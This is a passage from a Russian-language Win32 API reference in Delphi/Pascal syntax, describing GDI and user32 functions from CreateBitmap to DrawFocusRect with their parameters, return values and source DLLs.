Width: Ширина карты бит (в элементах изображения). Height: Высота карты бит (в элементах изображения). Planes: Число цветовых плоскостей в карте бит. BitCount: Число бит цвета на элемент отображения дисплея. Bits: Массив коротких целых, содержащий начальные значения карты бит. В случае значения nil новая карта бит остается неинициализированной.Возвращаемое значение:
В случае успешного завершения - идентификатор карты бит; 0 - в противном случае.
См. также: BitBit, SelectObject.
Функция находится в файле gdi32.dll.
Функция CreateBitmapIndirect
Описание:
function CreateBitmapIndirect(var Bitmap: TBitmap): HBitmap; |
Создает карту бит, определенную Bitmap.
Параметры:
Bitmap: Структура TBitmap.Возвращаемое значение:
В случае успешного завершения - идентификатор карты бит; 0 - в противном случае.
См. также: BitBit.
Функция находится в файле gdi32.dll.
Функция CreateBrushIndirect
Описание:
function CreateBrushIndirect(var LogBrush: TLogBrush): HBrush; |
Создает логическую кисть, определенную LogBrush.
Параметры:
LogBrush: Структура TLogBrush.Возвращаемое значение:
В случае успешного завершения - идентификатор логической кисти; 0 - в противном случае.
См. также: BitBit.
Функция находится в файле gdi32.dll.
Функция CreateCaret
Описание:
function CreateCaret(Wnd: HWnd; ABitmap: HBitmap; Width, Height: Integer); |
Создает новую форму для системной вставки.
Параметры:
Wnd: Окно, владеющее новой вставкой. ABitMap: Карта бит, которая определяет вставку; если 0, то вставка является черной; если 1, то вставка является серой. Width: Ширина вставки (в логических единицах). Height: Высота вставки (в логических единицах).См. также: CreateBitmap, CreateDIBitmap, GetSystemMetrics, LoadBitmap.
Функция находится в файле user32.dll.
Функция CreateCompatibleBitmap
Описание:
function CreateCompatibleBitmap(DC: HDC; Width, Height: Integer): HBitmap; |
Создает карту бит, совместимую с DC.
Параметры:
DC: Контекст устройства. Width: Ширина карты бит (в битах) Height: Высота карты бит (в битах).Возвращаемое значение:
В случае успешного завершения - идентификатор карты бит; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateCompatibleDC
Описание:
function CreateCompatibleDC(DC: HDC): HDC; |
Создает контекст устройства памяти, которое совместимо с DC.
Параметры:
DC: Контекст устройства; если 0, то создается контекст устройства памяти.Возвращаемое значение:
В случае успешного завершения - контекст устройства памяти; 0 - в противном случае.
См. также: DeleteDC, GetDeviceCaps.
Функция находится в файле gdi32.dll.
Функция CreateCursor
Описание:
function CreateCursor(Instance: THandle; Xhotspot, Yhotspot, Width, Height: Integer; ANDBitPlane, XORBitPlane: Pointer): HCursor |
Создает курсор.
Параметры:
Instance: Экземпляр модуля, создающий курсор. Xhotspot, Yhotspot: Положение силуэта курсора. Width: Ширина курсора (в элементах изображения) Height: Высота курсора (в элементах изображения). ANDBitPlane: Массив байт, содержащий маску AND. XORBitPlane: Массив байт, содержащий маску XOR.Возвращаемое значение:
В случае успешного завершения - идентификатор курсора; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция CreateDC
Описание:
function CreateDC(DriverName, DeviceName, Output: PChar; InitData: Pointer): HDC; |
Создает контекст устройства для устройства DriverName.
Параметры:
DriverName: Имя файла DOS (без расширения и заканчивающееся пустым символом) драйвера устройства. DeviceName: Имя конкретного поддерживаемого устройства (заканчивающееся пустым символом). Output: Выходной файл DOS или имя устройства (заканчивающееся пустым символом). InitData: Структура TDevMode, содержащая данные инициализации конкретного устройства.Возвращаемое значение:
В случае успешного завершения - идентификатор контекста устройства; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateDialog
Описание:
function CreateDialog(Instance: THandle; TemplateName: PChar; WndParent: HWnd; DialogFunc: TFarProc): HWnd; |
Создает блок безрежимного диалога, определенный ресурсом блока диалога TemplateName.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит ресурс блока диалога. TemplateName: Имя ресурса блока диалога (заканчивающееся пустым символом). WndParent: Родительское окно блока диалога. DialogFunc: Адрес экземпляра процедуры функции диалога или nil, если определен класс.Возвращаемое значение:
В случае успешного завершения - описатель окна блока диалога; 0 - в противном случае.
См. также: DefDlgProc, MakeProcInstance, wm_InitDialog.
Функция CreateDialogIndirect
Описание:
function CreateDialogIndirect(Instance: THandle; DialogTemplate: PChar; Parent: HWnd; DialogFunc: TFarProc): HWnd; |
Создает блок безрежимного диалога, определенный DialogTemplate.
Параметры:
Instance: Экземпляр модуля. DialogTemplate: Структура TDlgTemplate, содержащая шаблон блока диалога. WndParent: Окно, владеющее блоком диалога. DialogFunc: Адрес экземпляра процедуры функции обратного вызова диалога.Возвращаемое значение:
В случае успешного завершения - описатель окна блока диалога; 0 - в противном случае.
См. также: DefDlgProc, MakeProcInstance, wm_InitDialog.
Функция CreateDialogParam
Описание:
function CreateDialogParam(Instance: THandle; TemplateName: PChar; WndParent: HWnd; DialogFunc: TFarProc, InitParam: Longint): HWnd; |
Создает блок безрежимного диалога, определенный TemplateName.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит шаблон блока диалога. TemplateName: Имя шаблона блока диалога (заканчивающееся пустым символом). Parent: Окно, владеющее блоком диалога. DialogFunc: Адрес экземпляра процедуры функции диалога или nil, если определен класс. InitParam: Значение, переданное функции диалога (lParam сообщения wm_InitDialog), при создании блока диалога.Возвращаемое значение:
В случае успешного завершения - описатель окна блока диалога; 0 - в противном случае.
См. также: DefDlgProc, MakeProcInstance, wm_InitDialog.
Функция находится в файле user32.dll.
Функция CreateDIBitmap
Описание:
function CreateDIBitmap(DC: HDC; var InfoHeader: TBitmapInfoHeader; Usage: Longint; InitBits: PChar; var InitInfo: TBitmapInfo; Usage: Word): HBitmap; |
Создает характерную для устройства карту бит памяти из карты бит, независящей от устройства, описываемой InfoHeader и InitInfo.
Параметры:
DC: Контекст устройства. InfoHeader: TBitmapInfoHeader, описывающий размер и формат карты бит. Usage: В случае cbm_Init карта бит инициализируется согласно InfoBits и InitInfo. InfoBits: Массив байт, содержащий значения начальной карты бит, формат которой зависит от поля biBitCount записи InitInfo. InitInfo: Структура TBitmapInfo, которая описывает размерности и формат цветов. Usage: Одна из констант DIB_RGB_Colors или DIB_Pal_Colors. См. раздел "Идентификаторы таблицы цветов, DIB_" в главе 1.Возвращаемое значение:
В случае успешного завершения - идентификатор карты бит; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateDIBPatternBrush
Описание:
function CreateDIBPatternBrush(PackedDIB: THandle; Usage: Word): HBrush; |
Создает логическую кисть из карты бит, независящей от устройства, определенной PackedDIB.
Параметры:
PackedDIB: глобальная память, содержащая структуру TBitmapInfo плюс массив элементов изображения. Usage: Одна из констант DIB_RGB_Colors или DIB_Pal_Colors. См. раздел "Идентификаторы таблицы цветов, DIB_" в главе 1.Возвращаемое значение:
В случае успешного завершения - идентификатор логической кисти; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateDiscardableBitmap
Описание:
function CreateDiscardableBitmap(DC: HDC; Weight, Height: Integer): HBitmap; |
Создает стираемую карту бит, совместимую с DC.
Параметры:
DC: Контекст устройства. Width: Ширина карты бит (в битах) Height: Высота карты бит (в битах).Возвращаемое значение:
В случае успешного завершения - идентификатор карты бит; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateEllipticRgn
Описание:
function CreateEllipticRgn(X1, Y1, X2, Y2: Integer): HRgn; |
Создает эллиптическую область, ограниченную указанным прямоугольником.
Параметры:
X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника.Возвращаемое значение:
В случае успешного завершения - идентификатор новой области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateEllipticRgnIndirect
Описание:
function CreateEllipticRgnIndirect(var Rect: TRect): HRgn; |
Создает эллиптическую область, ограниченную прямоугольником, указанным в ARect.
Параметры:
ARect: TRect, содержащий верхний левый и правый нижний углы ограничивающего прямоугольника.Возвращаемое значение:
В случае успешного завершения - идентификатор новой области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateFont
Описание:
function CreateFont(Height, Width Escapement, Orientation, Weight: Integer; Italic, Underline, StrikeOut, CharSet, OutputPrecision, ClipPrecision, Quality, PitchAndFamily: Byte; FaceName: PChar): HFont; |
Создает логический шрифт, выбранный из пула физических шрифтов интерфейса GDI согласно указанным характеристикам.
Параметры:
Height: Высота шрифта (в логических единицах). Width: Ширина шрифта (в логических единицах) Escapement: Угол (наклона) строки (в десятых долях градуса) Orientation: Угол наклона оси символов (в десятых долях градуса) Weight: Вес шрифта (0 - 000). Либо можно использовать константы fw_, такие как fw_Bold. См. раздел "Флаги веса шрифтов" в главе 1. Italic: Шрифт - курсив. Underline: Шрифт - с подчеркиванием. StrikeOut: Шрифт с перечеркиванием. CharSet: Одна из констант ANSI_CharSet, OEM_CharSet, Symbol_CharSet. OutputPrecision: Одна из констант Out_Character_Precis, Out_Default_Precis, Out_String_Precis, Out_Stroke_Precis. ClipPrecision: Одна из констант Out_Character_Precis, Out_Default_Precis, Out_String_Precis, Out_Stroke_Precis. Quality: Одна из констант Default_Quality, Draft_Quality, Proof_Quality. См. раздел "Флаги качества выходных шрифтов" в главе 1. PitchAndFamily: Одна из констант Default_Pitch, Fixed_Pitch или Variable_Pitch, скомбинированная с одной из констант ff_Decorative, ff_DontCare, ff_Modern, ff_Roman, ff_Script или ff_Swiss. См. раздел "Флаги семейства шрифтов, ff_" в главе 1. FaceName: Название шрифта (заканчивающееся пустым символом).Возвращаемое значение:
В случае успешного завершения - идентификатор логического шрифта; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateFontIndirect
Описание:
function CreateFontIndirect(var LogFont: TLogFont): HFont; |
Создает логический шрифт, выбранный из пула физических шрифтов интерфейса GDI согласно характеристикам, указанным в ALogFont.
Параметры:
ALogFont: Структура TLogFont.Возвращаемое значение:
В случае успешного завершения - идентификатор логического шрифта; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateHatchBrush
Описание:
function CreateHatchBrush(index: Integer; Color: TColorRef): HBrush; |
Создает логическую кисть с указанным стилем штриховки.
Параметры:
Index: Одна из констант hs_BDiagonal, hs_Cross, hs_DiagCross, hs_FDiagonal, hs_Horizontal или hs_Vertical. См. раздел "Стили штриховки, hs_" в главе 1.Возвращаемое значение:
В случае успешного завершения - идентификатор логической кисти; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateIC
Описание:
function CreateIC(DriverName, DeviceName, Output, InitData: Pchar): HDC; |
Создает контекст информации для устройства.
Параметры:
DriverName: Имя файла DOS драйвера устройства (без расширения и заканчивающееся пустым символом). DeviceName: Указанное имя устройства (заканчивающееся пустым символом) Output: Имя выходного файла DOS или имя устройства (заканчивающееся пустым символом). InitData: Данные инициализации, характерные для устройства; nil в случае стандартной инициализации.Возвращаемое значение:
В случае успешного завершения - идентификатор контекста информации; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateIcon
Описание:
function CreateIcon(Instance: THandle; Width, Height: Integer; Planes, BitsPixel: Byte; ANDbits, XORbits: Pointer): HIcon; |
Создает пиктограмму.
Параметры:
Instance: Экземпляр модуля, создающий пиктограмму. Width: Ширина пиктограммы (в элементах изображения) Height: Высота пиктограммы (в элементах изображения). Planes: Число плоскостей в маске XOR. BitPixel: Число элементов на элемент изображения в маске XOR. ANDbits: Массив байт, содержащий монохромную маску AND пиктограммы. XORbits: Массив байт, содержащий маску XOR.Возвращаемое значение:
В случае успешного завершения - идентификатор пиктограммы; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция CreateMenu
Описание:
function CreateMenu: HMenu; |
Создает меню.
Возвращаемое значение:
В случае успешного завершения - идентификатор меню; 0 - в противном случае.
См. также: AppendMenu, InsertMenu.
Функция находится в файле user32.dll.
Функция CreateMetaFile
Описание:
function CreateMetaFile(FileName: PChar): THandle; |
Создает контекст устройства метафайла.
Параметры:
FileName: Имя метафайла (заканчивающееся пустым символом) или nil для указания метафайла в памяти.Возвращаемое значение:
В случае успешного завершения - идентификатор контекста устройства метафайла; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePalette
Описание:
function CreatePalette(var LogPalette: TLogPalette): HPalette; |
Создает логическую палитру цветов.
Параметры:
LogPalette: TLogPalette, Содержащая цветовую информацию о логической палитре.Возвращаемое значение:
В случае успешного завершения - идентификатор логической палитры; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePatternBrush
Описание:
function CreatePatternBrush(Bitmap: HBitmap): HBrush; |
Создает логическую кисть с шаблоном Bitmap.
Параметры:
Bitmap: Идентификатор карты бит HBitmap.Возвращаемое значение:
В случае успешного завершения - идентификатор логической кисти; 0 - в противном случае.
См. также: CreateBitmap, CreateBitmapIndirect, LoadBitmap, CreateCompatibleBitmap, DeleteObject, GetDeviceCaps.
Функция находится в файле gdi32.dll.
Функция CreatePen
Описание:
function CreatePen(PenStyle, Width: Integer; Color: TColorRef): HPen; |
Создает логическое перо.
Параметры:
PenStyle: Одна из констант ps_Solid, ps_Dash, ps_Dot, ps_DashDot, ps_DashDotDot, ps_Null или ps_InsideFrame. См. раздел "Стили пера, ps_" в главе 1. Width: Ширина пера (в логических единицах). Color: TColorRef пера.Возвращаемое значение:
В случае успешного завершения - идентификатор логического пера; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePenIndirect
Описание:
function CreatePenIndirect(var LogPen: TLogPen): HPen; |
Создает логическое перо, определяемое LogPen.
Параметры:
LogPen: Структура TLogPen.Возвращаемое значение:
В случае успешного завершения - идентификатор логического пера; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePolygonRgn
Описание:
function CreatePolygonRgn(var Points; Count, PolyFillMode: Integer): HRgn; |
Создает многоугольную область.
Параметры:
Points: Массив TPoint, содержащий вершины многоугольника. Count: Число точек в Points. PolyFillMode: Режим для заполнения области; используется одна из констант Alternate или Winding. См. раздел "Режимы PolyFill" в главе 1.Возвращаемое значение:
В случае успешного завершения - идентификатор новой области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePolyPolygonRgn
Описание:
function CreatePolyPolygonRgn(var Points; var PolyCounts, Counts, PolyFillMode: Integer): HRgn; |
Создает область, состоящую из ряда возможно перекрывающихся замкнутых многоугольников.
Параметры:
Points: Массив TPoint, содержащий вершины многоугольников. PolyCounts: Целочисленный массив, где каждый соответствующий элемент определяет число точек в каждом многоугольнике в Points. Count: Размер PolyCounts. PolyFillMode: Используется одна из констант Alternate или Winding. См. раздел "Режимы PolyFill" в главе 1.Возвращаемое значение:
В случае успешного завершения - идентификатор области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreatePopupMenu
Описание:
function CreatePopupMenu: HMenu; |
Создает пустое всплывающее меню.
Возвращаемое значение:
В случае успешного завершения - идентификатор меню; 0 - в противном случае.
См. также: AppendMenu, InsertMenu, TrackPopupMenu.
Функция находится в файле user32.dll.
Функция CreateRectRgn
Описание:
function CreateRectRgn(X1, Y1, X2, Y2: Integer): HRgn; |
Создает прямоугольную область, ограниченную указанным прямоугольником.
Параметры:
X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника.Возвращаемое значение:
В случае успешного завершения - идентификатор области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateRectRgnIndirect
Описание:
function CreateRectRgnIndirect(var Rect: TRect): HRgn; |
Создает прямоугольную область, ограниченную Arect.
Параметры:
ARect: TRect, содержащий верхний левый и правый нижний углы области.Функция находится в файле gdi32.dll.
Функция CreateRoundRectRgn
Описание:
function CreateRoundRectRgn(X1, Y1, X2, Y2, X3, Y3: Integer): HRgn; |
Создает прямоугольную область с загругленными углами, ограниченную указанной областью.
Параметры:
X1, Y1: Верхний левый угол области. X2, Y2: Правый нижний угол области. X3: Ширина эллипса для закругленных углов. Y3: Высота эллипса для закругленных углов.Возвращаемое значение:
В случае успешного завершения - идентификатор области; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateSolidBrush
Описание:
function CreateSolidBrush(Color: TColorRef): HBrush; |
Создает логическую кисть.
Параметры:
Color: Кисть TColorRef.Возвращаемое значение:
В случае успешного завершения - идентификатор логической кисти; 0 - в противном случае.
Функция находится в файле gdi32.dll.
Функция CreateWindow
Описание:
function CreateWindow(ClassName, WindowName: PChar; Style: Longint; X, Y, Width, Height: Integer; WndParent: HWnd; Menu: HMenu; Instance: THandle; Param: Pointer): HWnd; |
Создает перекрытое, всплывающее или дочернее окно.
Параметры:
ClassName: Имя класса окна (заканчивающееся пустым символом) или предопределенное имя класса органа управления. WindowName: Заголовок или имя окна (заканчивающееся пустым символом). Style: Одна из констант стиля окна или органа управления или их комбинация. К этим константам относятся константы ds_, ws_, bs_, cbs_, es_, lbs_, sbs_, ss_. См. главу 1. X, Y: Начальное положение окна или cw_UseDefault. См. раздел "Стандартный код создания окна, cw_" в главе 1. Width: Начальная ширина окна (в единицах устройства). Height: Начальная высота окна (в единицах устройства). WndParent: Окно владельца. Menu: Идентификатор меню или дочернего окна. Instance: Экземпляр соответствующего модуля. Param: Значение, переданное в TCreateStruct в параметре lParam сообщения wm_Create, для создания дочернего окна MDI должно быть указателем на структуру TClientCreateStruct.Возвращаемое значение:
В случае успешного завершения - идентификатор окна; 0 - в противном случае.
См. также: RegisterClass, wm_Create, wm_GetMiMaxInfo, wm_NCCreate.
Функция CreateWindowEx
Описание:
function CreateWindow(ExStyle: Longint; ClassName, WindowName: PChar; Style: Longint; X, Y, Width, Height: Integer; WndParent: HWnd; Menu: HMenu; Instance: THandle; Param: Pointer): HWnd; |
Создает перекрытое, всплывающее или дочернее окно с расширенным стилем.
Параметры:
ExStyle: Один из следующих расширенных стилей окна: ws_ex_DlgModalFrame, или ws_ex_NoParentNotify. См. раздел "Расширенные стили окон, ws_ex_" в главе 1. ClassName: Имя класса окна (заканчивающееся пустым символом) или предопределенное имя класса органа управления. WindowName: Заголовок или имя окна (заканчивающееся пустым символом). Style: Одна из констант стиля окна или органа управления или их комбинация. К этим константам относятся константы ds_, ws_, bs_, cbs_, es_, lbs_, sbs_, ss_. См. главу 1. X, Y: Начальное положение окна или cw_UseDefault. См. раздел "Стандартный код создания окна, cw_" в главе 1. Width: Начальная ширина окна (в единицах устройства). Height: Начальная высота окна (в единицах устройства). WndParent: Окно владельца. Menu: Идентификатор меню или дочернего окна. Instance: Экземпляр соответствующего модуля. Param: Значение, переданное в TCreateStruct в параметре lParam сообщения wm_Create, для создания дочернего окна MDI должно быть указателем на структуру TClientCreateStruct.Возвращаемое значение:
В случае успешного завершения - идентификатор окна; 0 - в противном случае.
См. также: CreateWindow, wm_ParentNotify.
Функция находится в файле user32.dll.
Функции Win32 API [ D ].
Функция DebugBreak
Описание:
function DebugBreak; |
Передает управление по прерыванию обработчику.
Функция находится в файле kernel32.dll.
Функция DefDlgProc
Описание:
function DefDlgProc(Dlg: HWnd; Msg, wParam: Word; lParam: Longint): Longint; |
Обеспечивает стандартную обработку для диалогов с частным классом окон.
Параметры:
Dlg: Идентификатор блока диалога. Msg: Номер сообщения. wParam: Информация, зависящая от сообщения. lParam: Информация, зависящая от сообщения.Возвращаемое значение:
Результат обработки сообщения.
Функция находится в файле user32.dll.
Функция DeferWindowPos
Описание:
function DeferWindowPos(WinPosInfo: THandle; Wnd, WndInsertAfter: Hwnd; X, Y, cX, cY: Integer; Flags: Word): THandle; |
Обновляет WinPosInfo для окна, определяемого Wnd.
Параметры:
WinPosInfo: Идентификатор структуры с данными о положении окна. Wnd: Окно, о котором хранится информация обновления. WndInsertAfter: Окно, после которого вставляется Wnd. X, Y: Положение верхнего левого угла окна. cX, cY: Новая ширина окна. Flags: Один из флагов swp_DrawFrame, swp_HideWindow, swp_NoActivate, swp_NoMove, swp_NoSize, swp_NoRedraw, swp_NoZOrder, или swp_ShowWindow. См. раздел "Флаги установки положения окна, swp_" в главе 1.Возвращаемое значение:
Обновленная структура с данными о положении окна.
См. также: BeginDeferPos, EndDeferWindowPos.
Функция находится в файле user32.dll.
Функция DefFrameProc
Описание:
function DefFrameProc(Wnd, MDIClient: HWnd; Msg, wParam: Word; lParam: Longint): Longint; |
Обеспечивает стандартную обработку сообщений для окон кадров MDI.
Параметры:
Wnd: Окно кадра MDI. MDIClient: Окно пользователя MDI. Msg: Номер сообщения. wParam: Информация, зависящая от сообщения. lParam: Информация, зависящая от сообщения.Возвращаемое значение:
Результат обработки сообщения.
Функция находится в файле user32.dll.
Функция DefHookProc
Описание:
function DefHookProc(Code: Integer; wParam: Word; lParam: Longint; NextHook: TFarProc ): Longint; |
Вызывает следующую функцию в цепочке функций перехвата (фильтрации сообщений).
Параметры:
Code: Определяет, как обрабатывается сообщение. wParam: Параметр-слово для сообщения. lParam: Длинный параметр для сообщения. NextHook: TFarProc для следующей функции перехвата.Возвращаемое значение:
Значение, зависящее от кода.
См. также: SetWindowsHook, UnHookWindowsHook.
Функция DefMDIChildProc
Описание:
function DefMDIChildProc(Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Longint; |
Обеспечивает стандартную обработку сообщений для дочерних окон MDI.
Параметры:
Wnd: Дочернее окно MDI. Msg: Номер сообщения. wParam: Информация, зависящая от сообщения. lParam: Информация, зависящая от сообщения.Возвращаемое значение:
Результат обработки сообщения.
Функция находится в файле user32.dll.
Функция DefWindowProc
Описание:
function DefWindowProc(Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Longint; |
Обеспечивает стандартную обработку сообщений для сообщений, которые явно не обрабатываются прикладной задачей.
Параметры:
Wnd: Идентификатор окна. Msg: Номер сообщения. wParam: Информация, зависящая от сообщения. lParam: Информация, зависящая от сообщения.Возвращаемое значение:
Результат обработки сообщения.
Функция находится в файле user32.dll.
Функция DeleteAtom
Описание:
function DeleteAtom(AnAtom: TAtom): TAtom; |
Удаляет атом. Если счетчик ссылок атома равен нулю, то соответствующая строка будет удалена из таблицы атомов.
Параметры:
AnAtom: Идентификатор атома.Возвращаемое значение:
В случае успешного завершения - 0; в противном случае - атом.
Функция находится в файле kernel32.dll.
Функция DeleteDC
Описание:
function DeleteDC(DC: HDC): Bool; |
Удаляет контекст устройства. Если DC является последним контекстом для устройства, уведомляет устройство и освобождает всю память и ресурсы системы.
Параметры:
DC: Идентификатор контекста устройства.Возвращаемое значение:
В случае успешного завершения - не нуль; в противном случае - 0.
Функция находится в файле gdi32.dll.
Функция DeleteMenu
Описание:
function DeleteMenu(Menu: HMenu Position, Flags: Word): Bool; |
Удаляет элемент из Menu. Если элемент является всплывающим, его описатель уничтожается, а память - освобождается.
Параметры:
Menu: Идентификатор меню. Position: Положение или идентификатор команды. Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand. См. раздел "Флаги меню, mf_" в главе 1.Возвращаемое значение:
В случае успешного завершения - не нуль; в противном случае - 0.
Функция находится в файле user32.dll.
Функция DeleteMetaFile
Описание:
function DeleteMetaFile(MF: THandle): Bool; |
Удаляет описатель метафайла и освобождает связанные с ним ресурсы системы.
Параметры:
MF: Идентификатор метафайла.Возвращаемое значение:
В случае успешного завершения - не нуль; 0 - если MF является неверным описателем.
Функция находится в файле gdi32.dll.
Функция DeleteObject
Описание:
function DeleteObject(Handle: THandle): Bool; |
Удаляет Handle из памяти и освобождает связанные с ним ресурсы системы.
Параметры:
Handle: Описатель логического пера, кисти, шрифта, карты бит, области или палитры.Возвращаемое значение:
Не нуль в случае удаления; 0 - если Handle является неверным описателем или выбранным в данный момент в контекст устройства.
Функция находится в файле gdi32.dll.
Функция DestroyCaret
Описание:
function DestroyCaret; |
Уничтожает текущую вставку, освобождает ее от окна владельца и удаляет ее с экрана (если видима).
Функция находится в файле user32.dll.
Функция DestroyCursor
Описание:
function DestroyCursor(Cursor: HCursor): Bool; |
Уничтожает Cursor и освобождает связанную с ним память.
Параметры:
Cursor: Идентификатор курсора.Возвращаемое значение:
В случае успешного завершения - не нуль; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция DestroyIcon
Описание:
function DestroyIcon(Icon: HIcon): Bool; |
Уничтожает Icon и освобождает связанную с ним память.
Параметры:
Icon: Идентификатор пиктограммы.Возвращаемое значение:
В случае успешного завершения - не нуль; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция DestroyMenu
Описание:
function DestroyMenu(Menu: HMenu): Bool; |
Уничтожает Menu и освобождает связанную с ним память.
Параметры:
Menu: Идентификатор меню.Возвращаемое значение:
В случае успешного завершения - не нуль; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция DestroyWindow
Описание:
function DestroyWindow(Wnd: HWnd): Bool; |
Уничтожает окно или блок безрежимного диалога и все связанные с ним дочерние окна.
Параметры:
Wnd: Идентификатор окна.Возвращаемое значение:
В случае успешного завершения - не нуль; 0 - в противном случае.
См. также: CreateDialog, wm_Destroy, wm_NCDestroy.
Функция находится в файле user32.dll.
Функция DialogBox
Описание:
function DialogBox(Instance: THandle; TemplateName: PChar; WndParent: HWnd; DialogFunc: TFarProc): Integer; |
Создает блок модального диалога, определенного TemplateName, и перед тем, как отображать диалог, посылает сообщение wm_InitDialog.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит шаблон блока диалога. TemplateName: Имя шаблона блока диалога (заканчивающееся пустым символом). WndParent: Окно владельца. DialogFunc: Адрес экземпляра процедуры функции диалога.Возвращаемое значение:
Параметр nResult функции EndDialog; -1 - если диалог не может быть создан.
См. также: DefDlgProc, MakeProcInstance, wm_InitDialog.
Функция DialogBoxIndirect
Описание:
function DialogBoxIndirect(Instance, DialogTemplate: THandle; WndParent: HWnd; DialogFunc: TFarProc): Integer; |
Создает блок модального диалога, определенного DialogTemplate, и перед тем, как отображать диалог, посылает сообщение wm_InitDialog.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит шаблон блока диалога. DialogTemplate: Блок глобальной памяти, содержащий структуру TDlgTemplate. WndParent: Окно владельца. DialogFunc: Адрес экземпляра процедуры функции диалога.Возвращаемое значение:
Параметр nResult функции EndDialog; -1 - если диалог не может быть создан.
Функция DialogBoxIndirectParam
Описание:
function DialogBoxIndirectParam(Instance, DialogTemplate: THandle; WndParent: HWnd; DialogFunc: TFarProc; InitParam: Longint): Integer; |
Создает блок модального диалога, определенного DialogTemplate, и перед тем, как отображать диалог, посылает сообщение wm_InitDialog. Также позволяет передавать функции обратного.
Вызова начальный параметр.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит шаблон блока диалога. DialogTemplate: Блок глобальной памяти, содержащий структуру TDlgTemplate. WndParent: Окно владельца. DialogFunc: Адрес экземпляра процедуры функции диалога. InitParam: Передается в параметре lParam сообщения wm_InitDialog.Возвращаемое значение:
Параметр nResult функции EndDialog; -1 - если диалог не может быть создан.
Функция находится в файле user32.dll.
Функция DialogBoxParam
Описание:
function DialogBoxParam(Instance, THandle; TemplateName: PChar; Parent: HWnd; DialogFunc: TFarProc; InitParam: Longint): Integer; |
Создает блок модального диалога, определенного TemplateName, и перед тем, как отображать диалог, посылает сообщение wm_InitDialog. Также позволяет передавать функции обратного.
Вызова начальный параметр.
Параметры:
Instance: Экземпляр модуля, исполнимый файл которого содержит шаблон блока диалога. TemplateName: Имя шаблона блока диалога (заканчивающееся пустым символом). Parent: Окно владельца. DialogFunc: Адрес экземпляра процедуры функции диалога. InitParam: Передается в параметре lParam сообщения wm_InitDialog.Возвращаемое значение:
Параметр nResult функции EndDialog; -1 - если диалог не может быть создан.
Функция находится в файле user32.dll.
Функция DispatchMessage
Описание:
function DispatchMessage(var Msg: TMsg): Longint; |
Передает в Msg сообщение оконной функции окна.
Параметры:
Msg: Структура TMsg.Возвращаемое значение:
Значение, возвращаемое оконной функцией, обычно игнорируется.
Функция находится в файле user32.dll.
Функция DlgDirList
Описание:
function DlgDirList(Dlg: HWnd; PathSpec: PChar; IDListBox, IDStaticPath: Integer; FileType: Word): Integer; |
Заполняет IDListBox листингом файлов или каталогов, соответствующим имени маршрута, заданным в PathSpec.
Параметры:
Dlg: Блок диалога, содержащий IDListBox. PathSpec: Строка имени маршрута (заканчивающаяся пустым символом). IDListBox: Идентификатор органа управления блока списка. IDStaticPath: Статический текстовый идентификатор органа управления для отображения текущего накопителя и каталога. FileType: $0000 (чтение/запись), $0001 (только чтение), $0002 (скрытый), $0004 (системный), $0010 (подкаталоги), $0020 (архивный), $2000 (lb_Dir), $4000 (накопители), $8000 (исключительные).Возвращаемое значение:
Не нуль, если листинг получен; нуль - в случае неверного маршрута поиска.
См. также: lb_ResetContent, lb_Dir.
Функция находится в файле user32.dll.
Функция DlgDirListComboBox
Описание:
function DlgDirListComboBox(Dlg: HWnd; PathSpec: PChar; IDComboBox, IDStaticPath: Integer; FileType: Word): Integer; |
Заполняет IDComboBox листингом файлов или каталогов, соответствующим имени маршрута, заданным в PathSpec.
Параметры:
Dlg: Блок диалога, содержащий IDComboBox. PathSpec: Строка имени маршрута (заканчивающаяся пустым символом). IDComboBox: Идентификатор органа управления комбинированного блока. IDStaticPath: Статический текстовый идентификатор органа управления для отображения текущего накопителя и каталога. FileType: $0000 (чтение/запись), $0001 (только чтение), $0002 (скрытый), $0004 (системный), $0010 (подкаталоги), $0020 (архивный), $2000 (lb_Dir), $4000 (накопители), $8000 (исключительные).Возвращаемое значение:
Не нуль, если листинг получен; нуль - в случае неверного маршрута поиска.
См. также: cb_ResetContent, cb_Dir.
Функция находится в файле user32.dll.
Функция DPtoLP
Описание:
function DPtoLp(DC: HDC; var Points; Count: Integer): Bool; |
Преобразует точки устройства в логические точки.
Параметры:
DC: Идентификатор контекста устройства. Points: Массив структур TPoints. Count: Число точек в Points.Возвращаемое значение:
Не нуль, если преобразованы все точки; нуль - если нет.
Функция находится в файле gdi32.dll.
Функция DrawFocusRect
Описание:
function DrawFocusRect(DC: HDC; var Rect: TRect); |
Выполняет операцию XOR для рисования прямоугольника со стилем фокуса.
Параметры:
